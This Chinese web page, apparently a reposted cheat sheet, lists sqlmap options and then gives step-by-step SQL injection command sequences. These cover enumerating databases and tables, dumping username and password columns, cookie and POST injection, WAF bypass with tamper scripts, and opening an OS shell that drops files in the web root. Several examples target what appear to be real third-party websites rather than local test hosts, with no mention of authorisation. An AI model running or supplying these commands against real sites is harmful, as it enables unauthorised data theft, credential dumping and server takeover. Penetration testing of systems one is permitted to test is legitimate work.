SQLMAP的常用参数

您所在的位置:网站首页 sqlmap参数流程 SQLMAP的常用参数

SQLMAP的常用参数

2023-06-29 15:25| 来源: 网络整理| 查看: 265

-p            指定测试参数 -b            获取banner --dbs           列举数据库  --is-dba        是否是管理员权限 --current-db        当前数据库 --current-user        当前用户 --tables        列举数据库的表名 --count            检索所有条目数 --columns        获取表的列名 --dump             获取表中的数据,包含列  --dump-all        转存DBMS数据库所有表项目 --level            测试等级(1-5),默认为1 -v               显示详细信息 --delay 1(1秒)表示延时1秒进行注入

读取数据库--->读取表---->读取表的字段---->获取内容

-D              指定数据库

-T            指定表

-C            指定字段

--dbms=mysql  oracle mssql         指定数据库 =======================================

参照官方文档:https://github.com/sqlmapproject/sqlmap/wiki/Usage。 --safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。 --safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。 -b    获取banner -p    指定测试参数 -g    从google中获取URL , -g "inurl:aspx?id=" --gpage=GOOGLEPAGE    指定Google页码 --union-check    是否支持union 注入 --union-cols     union 查询表记录 --union-test     union 语句测试 --union-use     采用union 注入 --proxy    代理注入 ---threads    采用多线程 --user-agent     自定义user-agent --referer=REFERER    HTTP referer头 --proxy=PROXY    使用代理 --string    指定关键词 --tor    创建tor的匿名网络 --predict-output    常见的查询输出预测 --keep-alive    使用持久HTTP(S)连接 --eval=EVALCODE    所使用HTTP参数污染 -a,-all    查询所有 --hostname    主机名 --is-dba    是否是管理员权限 --users    枚举所有用户 --passwords    枚举所有用户密码 --roles    枚举所有用户角色 --schema    枚举DBMS模式 --count    检索所有条目数 --dump    转存DBMS数据库表项目,需要制定字段名称(列名称) --dump-all    转存DBMS数据库所有表项目 --search    搜索列,表或数据库名称 --exclude-sysdbs    在枚举表时排除系统数据库 --sql-query=query    执行SQL语句 --file-read=RFILE    读取操作 --file-write=WFILE    写入操作 --file-dest=DFILE    绝对路径写入 --reg-read    阅读一个Windows注册表项值 --reg-add    增加一个Windows注册表项值数据 --reg-del    删除一个Windows注册表项值数据 --reg-key=REGKEY    Windows注册表键 --reg-value=REGVAL    Windows注册表键值 -- reg-data=REGDATA    Windows注册表的键值项数据 --reg-type=REGTYPE    Windows注册表键的值类型 --csv-del=CSVDEL    划定CSV输出中使用的字符 (default ",") --dump-format=DUMP    转存数据格式(CSV (default), HTML or SQLITE) --hex    使用十六进制数据检索功能 --output-dir=ODIR    自定义输出的目录路径 --update    更新SQLMap --purge-output    安全的删除所有内容输出目录 --check-waf    启发式检查WAF / IPS / IDS保护 --os-pwn    反弹shell --cookie=COOKIE    指定HTTP Cookie ,预登陆 --random-agent    使用随机选定的User-Agent头 --tamper=TAMPER    使用SQLMap插件 --level    测试等级(1-5),默认为1 ==================================================== 加载tamper脚本过waf sqlmap.py -u http://127.0.0.1/test.php?id=1 –tamper “space2morehash.py”//脚本的名称 ==================================================== asp注入 sqlmap -u http://xaweichi.com/product_list.asp?id230 --tables //猜解表段  sqlmap -u http://xaweichi.com/product_list.asp?id230 --columns -T manage //猜解 字段  sqlmap -u http://xaweichi.com/product_list.asp?id230 --dump C "classid,id" -T manage //猜字段内容 ==================================================== php的注入  sqlmap -u http://www1.upweb.net/book/subject.php?id156 --dbs //猜解数据库  sqlmap -u http://www1.upweb.net/book/subject.php?id156 -D www1topxx数据库 --tables //猜解这个数据库的表 sqlmap -u http://www1.upweb.net/book/subject.php?id156 -D www1topxx -D www1topxx --columns -T user1表名 //猜解这个表里面的字段  sqlmap -u http://www1.upweb.net/book/subject.php?id156 -D www1topxx -D www1topxx --dump C "user_name,user_pass"//两个字段名称 --columns -T user1 //猜解这个字段的内容 ==================================================== post搜索框的注入  http://www.zjyingsong.com/product.asp post注入框的注入原理 大家可以自己百度一下哦! 要进行post注入我们首先要抓包 。。 随便输入一个1字 burpsuite已经抓到包了 抓到的发包内容key1&x23&y4 sqlmap -u http://www.zjyingsong.com/product.asp --data "key1&x23&y4" --tables //猜解表段 sqlmap -u http://www.zjyingsong.com/product.asp --data "key1&x23&y4" --columns -T 表段 //猜解字段 sqlmap -u http://www.zjyingsong.com/product.asp --data "key1&x23&y4" --dump C "内容,内容," -T 刚才的表段 //猜解内容   ==================================================== cookies站点的注入  sqlmap -u http://xaweichi.com/product_list.asp --cookie "id=230" --level 2 //判断

sqlmap -u http://xaweichi.com/product_list.asp --cookie "id=230" --tables --level 2 //猜解表名

sqlmap -u http://xaweichi.com/product_list.asp --cookie "id=230" --columns -T manage --level 2 //猜解字段

sqlmap -u http://xaweichi.com/product_list.asp --cookie "id=230" --dump C "classid,id" -T manage --level 2  //猜解字段内容 ==================================================== sqlmap-Access数据库注入 sqlmap.py -u http://www.t00ts.net/test.asp?id=123 --tables //猜解表名 sqlmap.py -u http://www.t00ts.net/test.asp?id=123 -T "表名" --columns  //猜字段 sqlmap.py -u http://www.t00ts.net/test.asp?id=123 -T "表名" -C "字段名" --dump //猜字段内容 ==================================================== sqlmap-Mysql数据库注入 sqlmap.py -u http://www.t00ts.net/test.php?id=123 --dbms "Mysql" --current-user //* 注解:获取当前用户名称 sqlmap.py -u http://www.t00ts.net/test.php?id=123 --dbms "Mysql" --current-db //*当前数据库 sqlmap.py -u http://www.t00ts.net/test.php?id=123 --dbms "Mysql" --tables -D "数据库名" //*猜数据库表 sqlmap.py -u http://www.t00ts.net/test.php?id=123 --dbms "Mysql" --columns -T "表名" -D "数据库名" ==================================================== post注入 1.抓包注入 C:\sb.txt >>>>>>>>数据包的储存地址,//地址没有存储限制 sqlmap -r C:\sb.txt --dbs -v 2 //列数据库 sqlmap -r C:\sb.txt --tables -D "数据库名称" -v 2 //列出表名 sqlmap -r C:\sb.txt --columns -T "表名" -D "数据库名称" -v 2 //列出字段 sqlmap -r C:\sb.txt --dump -C "猜解的内容,猜解的内容" -T "表名" -D "数据库名称" -v 2//猜内容

sqlmap -r C:\sb.txt -P xxxx //-P指出特点参数

sqlmap.py -u http://127.0.0.1/login.asp --forms //自动寻找注入参数 sqlmap.py -u http://127.0.0.1/login.asp --data "xx=xx&xx=xx" //指定参数 ==================================================== 交互写shell及命令执行 sqlmap.py -u 127.0.0.1/asp.asp?id=1 --os-cmd=ipcomig //执行cmd命令ipcomig ps:会提示选择脚本,写出网站根目录。 sqlmap.py -u 127.0.0.1/asp.asp?id=1 --os-shell//也可以执行cmd命令,会在网站根目录生成两个为tmpbxbxz.php和tmpuoiuz.php,tmpbxbxz.php这个文件可以上传一些脚本。 ==================================================== 伪静态注入 sqlmao.py -u 127.0.0.1/100*.html //.html前面加*这么一个字符进行操作

==================================================== 请求延时注入 sqlmap.py --dbs -u 127.0.0.1/100*.html --delay 1 //延时一秒访问,进行采集数据库 sqlmap.py --dbs -u 127.0.0.1/100*.html --safe-freq //--safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。



【本文地址】


今日新闻


推荐新闻


    CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3